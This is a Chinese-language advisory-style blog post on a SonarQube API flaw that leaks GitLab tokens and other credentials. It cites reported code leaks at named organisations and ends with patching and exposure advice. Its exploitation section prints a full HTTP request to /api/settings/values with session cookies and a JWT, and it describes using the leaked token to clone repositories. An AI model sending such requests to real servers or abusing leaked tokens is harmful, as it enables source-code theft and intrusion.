SonarQube是一款基于Web该工具是一个开源代码质量管理系统,可以帮助开发人员生成无安全问题、错误、漏洞、异常和一般问题的代码。
如果你在开发一个小项目,可能很容易仔细检查代码,发现任何问题。SonarQube属于SAST代码检测工具更注重质量检验,也有一些有针对性的安全检测,如SQL注入等,我用过商业版,试图用SAST我对发现和解决代码安全问题感到失望。规则库薄弱,自定义能力差。毕竟,它只是更注重质量检查。
大背景
最近,海外网站报道了中国许多机构和企业的代码泄露,即使用SonarQube的这个API越权漏洞。
(1)The Chinese Ministry of Public Security
(2) BOSCH 博世
(3) 梅赛德斯奔驰
SonarQube API 未授权下载源代码漏洞的使用过程和原理
SonarSource SonarQube由于存在安全漏洞,攻击者可以利用该漏洞通过API设置值URI,发现明文的SMTP和GitLab凭证(tocken)等敏感信息泄露会导致gitlab中国项目的代码可以任意使用clone事实上,这个漏洞是在2019年发现的。官方修复了一次,但出现了新的漏洞,一直延伸到7-8-9多个版本。
漏洞细节:
漏洞利用及证明:(1)敏感配置泄漏:登录普通用户即可查看API信息如下:GET/api/settings/valuesHTTP/2Host:sonar.******.comCookie:experimentation_subject_id=ImExZjYyYTg4LTUwMmEtNDllOS1hNDNhLTZkYjc3OWVhNDM3YiI=--5753e714d025d34f4249d6d9d8cc7292ca0200b6;XSRF-TOKEN=5n4f4tq6qi30hg65n2h0qth56e;JWT-SESSION=eyJhbGciOiJIUzI1NiJ9.eyJqdGkiOiJBWGpaWGotUmlDeWV5OUM0SnkwbCIsInN1YiI6ImZlbmd3ZWlndW8iLCJpYXQiOjE2MTg1NTQ1MzUsImV4cCI6MTYxODgxMzczNSwibGFzdFJlZnJlc2hUaW1lIjoxNjE4NTU0NTM1ODI1LCJ4c3JmVG9rZW4iOiI1bjRmNHRxNnFpMzBoZzY1bjJoMHF0aDU2ZSJ9.5GEbBs6oJnoRYnSbPC3BUysSZgy5tIu-LOuO7iOSEGISec-Ch-Ua:"Chromium";v="89",";NotABrand";v="99"Sec-Ch-Ua-Mobile:?0Upgrade-Insecure-Requests:1User-Agent:Mozilla/5.0(KaliLinux;ARM)AppleWebKit/637.36(KHTML,likeGecko)Chrome/189.0.4389.90Safari/637.36Accept:text/html,application/xhtml xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Sec-Fetch-Site:noneSec-Fetch-Mode:navigateSec-Fetch-User:?1Sec-Fetch-Dest:documentAccept-Encoding:gzip,deflateAccept-Language:zh-CN,zh;q=0.9Connection:close官方修复后,接口只能由管理员检查。但许多内置默认账户和简单的弱密码账户也可以查看。(2)利用该user_token可以来从gitlab获取代码:看,就是sonar.gitlab.user.token ,可以直接拉代码数据。
还可以通过配置文件看到数据库账号密码等。漏洞很长。
看看怎么用sonar.gitlab.user.token 拉代码:
解决办法
注意制造商的官方网站,即使补丁升级。
友情提醒
看看至少有多少暴露在公共网络上:数量仍然非常惊人,所以很多假装关心代码质量用户不在乎安全代码泄露。
SonarQube 不建议对公网开放,Devops需要在流程中使用SAST请使用专业工具,请放弃SonarQube。